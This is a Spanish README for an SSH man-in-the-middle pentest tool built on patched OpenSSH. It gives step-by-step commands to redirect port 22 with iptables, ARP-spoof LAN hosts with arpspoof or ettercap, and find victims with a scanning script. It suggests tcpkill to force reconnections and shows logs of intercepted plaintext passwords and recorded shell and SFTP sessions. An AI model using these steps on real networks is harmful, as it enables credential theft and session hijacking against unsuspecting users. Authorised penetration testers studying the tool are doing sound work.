
Herramienta man-in-the-middle para SSH
Autor: Joe Testa (@therealjoetesta)
Esta herramienta de pruebas de penetración permite a un auditor interceptar conexiones SSH. Un parche aplicado al código fuente de OpenSSH v7.5p1 hace que actúe como un proxy entre la víctima y su servidor SSH destino; todas las contraseñas en texto plano y las sesiones se registran en el disco.
Por supuesto, el cliente SSH de la víctima se quejará de que la clave del servidor ha cambiado. Pero debido a que el 99.99999% de las veces esto es causado por una acción legítima (reinstalación del sistema operativo, cambio de configuración, etc.), muchos/la mayoría de los usuarios ignorarán la advertencia y continuarán.
NOTA: ¡Ejecute únicamente el sshd_mitm modificado en una VM o contenedor! Se realizaron modificaciones ad-hoc en las fuentes de OpenSSH en regiones críticas, sin considerar sus implicaciones de seguridad. No es difícil imaginar que estas modificaciones introduzcan vulnerabilidades graves.
La forma más rápida y sencilla de comenzar es usar la imagen Docker con SSH MITM precompilado.
1.) Obtén la imagen desde Dockerhub con:
$ docker pull positronsecurity/ssh-mitm
2.) A continuación, ejecuta el contenedor con:
$ mkdir -p ${PWD}/ssh_mitm_logs && docker run --network=host -it --rm -v ${PWD}/ssh_mitm_logs:/home/ssh-mitm/log positronsecurity/ssh-mitm
3.) Habilita el reenvío de IP y las rutas NAT en tu máquina anfitriona:
# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -P FORWARD ACCEPT
# iptables -A INPUT -p tcp --dport 2222 -j ACCEPT
# iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222
4.) Encuentra objetivos en la LAN y suplanta su ARP (ver más abajo).
5.) Las sesiones de shell y SFTP se registrarán en el directorio ssh_mitm_logs.
Como root, ejecuta el script install.sh. Esto instalará los requisitos previos desde los repositorios, descargará el archivo de OpenSSH, verificará su firma, lo compilará e inicializará un entorno sin privilegios para ejecutarse dentro.
El script JoesAwesomeSSHMITMVictimFinder.py hace que sea muy fácil encontrar objetivos en una LAN. Suplantará ARP a un bloque de IPs y olfateará tráfico SSH durante un breve período antes de pasar al siguiente bloque. Se informa de cualquier conexión SSH activa originada desde dispositivos en la LAN.
Por defecto, JoesAwesomeSSHMITMVictimFinder.py suplantará ARP y olfateará solo 5 IPs durante 20 segundos antes de pasar al siguiente bloque de 5. Estos parámetros se pueden ajustar, aunque existe un compromiso: cuantas más IPs se suplanten a la vez, mayor será la probabilidad de capturar una conexión SSH activa, pero también mayor será la carga en tu pequeña interfaz de red. Bajo una carga demasiado alta, tu interfaz comenzará a descartar tramas, causando una denegación de servicio y generando muchas sospechas (esto es malo). Los valores predeterminados no deberían causar problemas en la mayoría de los casos, aunque se tardará más en encontrar objetivos. El tamaño del bloque se puede aumentar de forma segura en redes de baja utilización.
Ejemplo:
# ./JoesAwesomeSSHMITMVictimFinder.py --interface enp0s3 --ignore-ips 10.11.12.50,10.11.12.53
Found local address 10.11.12.141 and adding to ignore list.
Using network CIDR 10.11.12.141/24.
Found default gateway: 10.11.12.1
IP blocks of size 5 will be spoofed for 20 seconds each.
The following IPs will be skipped: 10.11.12.50 10.11.12.53 10.11.12.141
Local clients:
* 10.11.12.70 -> 174.129.77.155:22
* 10.11.12.43 -> 10.11.99.2:22
La salida anterior muestra que dos dispositivos en la LAN han creado conexiones SSH (10.11.12.43 y 10.11.12.70); estos pueden ser objetivo de un ataque de intermediario. Sin embargo, ten en cuenta que para poder interceptar credenciales potencialmente, deberás esperar a que inicien nuevas conexiones. Los pentesters impacientes pueden optar por cerrar a la fuerza las sesiones SSH existentes (usando la herramienta tcpkill), lo que hará que los clientes creen nuevas conexiones de inmediato...
1.) Una vez que hayas completado la configuración inicial y encontrado una lista de víctimas potenciales (ver arriba), ejecuta start.sh como root. Esto iniciará sshd_mitm, habilitará el reenvío de IP y configurará la interceptación de paquetes SSH a través de iptables.
2.) Suplanta ARP al objetivo(s) (Consejo profesional: ¡no suplantes todo! Es probable que tu pequeña interfaz de red no pueda manejar todo el tráfico de una red a la vez. Solo suplanta un par de IPs a la vez):
arpspoof -r -t 192.168.x.1 192.168.x.5
Alternativamente, puedes usar la herramienta ettercap:
ettercap -i enp0s3 -T -M arp /192.168.x.1// /192.168.x.5,192.168.x.6//
3.) Monitorea auth.log. Las contraseñas interceptadas aparecerán aquí:
sudo tail -f /var/log/auth.log
4.) Una vez que se establece una sesión, se puede encontrar un registro completo de toda la entrada y salida en /home/ssh-mitm/. Las sesiones SSH se registran como shell_session_*.txt y las sesiones SFTP como sftp_session_*.html (con los archivos transferidos almacenados en un directorio correspondiente).
En caso de éxito, /var/log/auth.log tendrá líneas que registran la contraseña, como esta:
Sep 11 19:28:14 showmeyourmoves sshd_mitm[16798]: INTERCEPTED PASSWORD: hostname: [10.199.30.x]; username: [jdog]; password: [supercalifragilistic] [preauth]
Además, se registra toda la sesión SSH de la víctima:
# cat /home/ssh-mitm/shell_session_0.txt
Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
Last login: Thu Aug 31 17:42:38 2017
OpenBSD 6.1 (GENERIC.MP) #21: Wed Aug 30 08:21:38 CEST 2017
Welcome to OpenBSD: The proactively secure Unix-like operating system.
Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code. With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.
jdog@jefferson ~ $ ppss
PID TT STAT TIME COMMAND
59264 p0 Ss 0:00.02 -bash (bash)
52132 p0 R+p 0:00.00 ps
jdog@jefferson ~ $ iidd
uid=1000(jdog) gid=1000(jdog) groups=1000(jdog), 0(wheel)
jdog@jefferson ~ $ sssshh jjtteessttaa@@mmaaggiiccbbooxx
jtesta@magicbox's password: ROFLC0PTER!!1juan
Observa que los caracteres en los comandos del usuario aparecen dos veces en el archivo porque se registra tanto la entrada del usuario como la salida del shell (que repite los caracteres). Ten en cuenta que cuando programas como sudo y ssh deshabilitan temporalmente el eco para leer una contraseña, no se registran caracteres duplicados.
Toda la actividad SFTP también se captura. Usa un navegador para ver sftp_session_0.html. Contiene un registro de comandos, con enlaces a los archivos subidos y descargados:
# cat /home/ssh-mitm/sftp_session_0.txt
<html><pre>Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
> realpath "." (Result: /home/jdog)
> realpath "/home/jdog/." (Result: /home/jdog)
> ls /home/jdog
drwxr-xr-x 4 jdog jdog 4096 Sep 11 16:12 .
drwxr-xr-x 4 root root 4096 Sep 6 11:53 ..
-rw-r--r-- 1 jdog jdog 3771 Aug 31 2015 .bashrc
-rw-r--r-- 1 jdog jdog 220 Aug 31 2015 .bash_logout
drwx------ 2 jdog jdog 4096 Sep 6 11:54 .cache
-rw-r--r-- 1 jdog jdog 655 May 16 08:49 .profile
drwx------ 2 jdog jdog 4096 Sep 8 16:59 .ssh
-rw-rw-r-- 1 jdog jdog 5242880 Sep 8 15:52 file
-rw-rw-r-- 1 jdog jdog 43131 Sep 10 10:47 file2
-rw-rw-r-- 1 jdog jdog 83 Sep 6 12:56 file3
-rw-rw-r-- 1 jdog jdog 3048960 Sep 11 13:51 file4
> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> put <a href="https://github.com/jtesta/ssh-mitm/blob/master/sftp_session_0/file5">/home/jdog/file5</a>
> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> stat "/home/jdog/file5" (Result: flags: 15; size: 854072; uid: 1001; gid: 1001; perm: 0100664, atime: 1505172831, mtime: 1505172831)
> setstat "/home/jdog/file5" (Result: flags: 4; size: 0; uid: 0; gid: 0; perm: 0100700, atime: 0, mtime: 0)
</pre></html>
En lol.h hay dos defines: DEBUG_HOST y DEBUG_PORT. Actívalos y establece el nombre de host en un servidor de prueba. Ahora puedes conectarte directamente a sshd_mitm sin usar suplantación ARP para probar tus cambios, por ejemplo:
ssh -p 2222 valid_user_on_debug_host@localhost
Para probar cambios en el código fuente de OpenSSH, usa el script dev/redeploy.sh.
Para ver un diff de los cambios no confirmados, usa el script dev/make_diff_of_uncommitted_changes.sh.
Para regenerar un parche completo para las fuentes de OpenSSH, usa el script dev/regenerate_patch.sh.